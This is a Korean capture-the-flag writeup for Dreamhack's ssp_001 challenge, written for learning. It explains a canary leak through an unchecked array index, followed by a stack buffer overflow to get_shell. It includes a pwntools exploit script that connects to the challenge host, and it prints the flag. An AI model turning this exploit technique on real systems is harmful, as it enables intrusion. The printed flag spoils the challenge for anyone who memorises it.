[Dreamhack] ssp_001 writeup

김진겸·2024년 4월 7일

silvergun8291.log님ssp_000을 참고하였습니다!!

ssp_001 목표


취약점을 찾고 ssp를 우회하여 셸을 흭득하고, flag 파일을 읽어내는 것이 목표입니다.

보호기법

user@user-ui-MacBookPro ssp_001 % checksec ssp_001
[*] '/Users/protectuser/Desktop/DreamHack/ssp_001/ssp_001'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

CanaryNX 방어기법이 걸려있습니다.

문제코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                // 사용자가 지정할 수 있기 때문에 버퍼 오버플로우가 발생할 수 있다.
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}
  • 쉘을 띄워주는 get_shell 함수가 있습니다.
  • box의 원하는 인덱스의 요소값을 출력해주는 print_box 함수가 있습니다.
  • 메뉴에서 F를 입력하면 box에 입력을 받습니다.
  • 메뉴에서 P를 입력하면 print_box 함수를 호출하여 해당 인덱스의 값을 출력합니다.
  • 메뉴에서 E를 입력하면 name_len 변수에 이름의 크기를 입력받고 name 변수에 해당하는 크기 만큼 이름을 입력 받습니다.

=> box는 길이가 x040인 문자열입니다. 하지만 E에서 원하는 크기만큼 box에 입력을 줄 수 있기 때문에 버퍼 오버플로우가 발생합니다.
=> 메뉴 p에서 인덱스 입력시 경계값을 검사하지 않기 때문에, 64이상의 인덱스를 입력하여 name아래에 있는 값을 출력할 수 있습니다.
[참고: https://velog.io/@silvergun8291/Dreamhack-ssp001#%EB%94%94%EB%B2%84%EA%B9%85]

카나리 릭

box와 name은 x040으로 각각64byte이다.
box->name->canary순이므로
Canary는 box로 부터 거리는 128byte이다.
Canary는 4byte이므로 128~131까지 인덱스를 box에 넣으면 카나리 값을 릭 할 수 있다.

버퍼 오버플로우

메뉴 E를 이용하면 box에 원하는 크기만큼 입력을 할 수 있어 버퍼 오버플로우가 발생합니다. 이때 get_sheell로 덮으면 쉘을 띄울 수 있습니다.

익스플로잇 코드


from pwn import *

p = remote("host3.dreamhack.games", 13713)
e = ELF("./ssp_001")

get_shell = e.symbols['get_shell']

# Canary Leak
canary = b""

i = 131
while i >= 128:
  p.sendlineafter("> ", 'P')
  p.sendlineafter("Element index : ", str(i))
  p.recvuntil("is : ")
  canary += p.recvn(2)
  i = i - 1

canary = int(canary, 16)

# BOF
payload = b'A' * 64
payload += p32(canary)
payload += b'A' * 8
payload += p32(get_shell)

p.sendlineafter("> ", 'E')
p.sendlineafter(": ", str(len(payload)))
p.sendlineafter(": ", payload)

p.interactive()

익스플로잇

플래그

$ cat flag
DH{00c609773822372daf2b7ef9adbdb824}
profile
성장에 목마른 개발자입니다!

0개의 댓글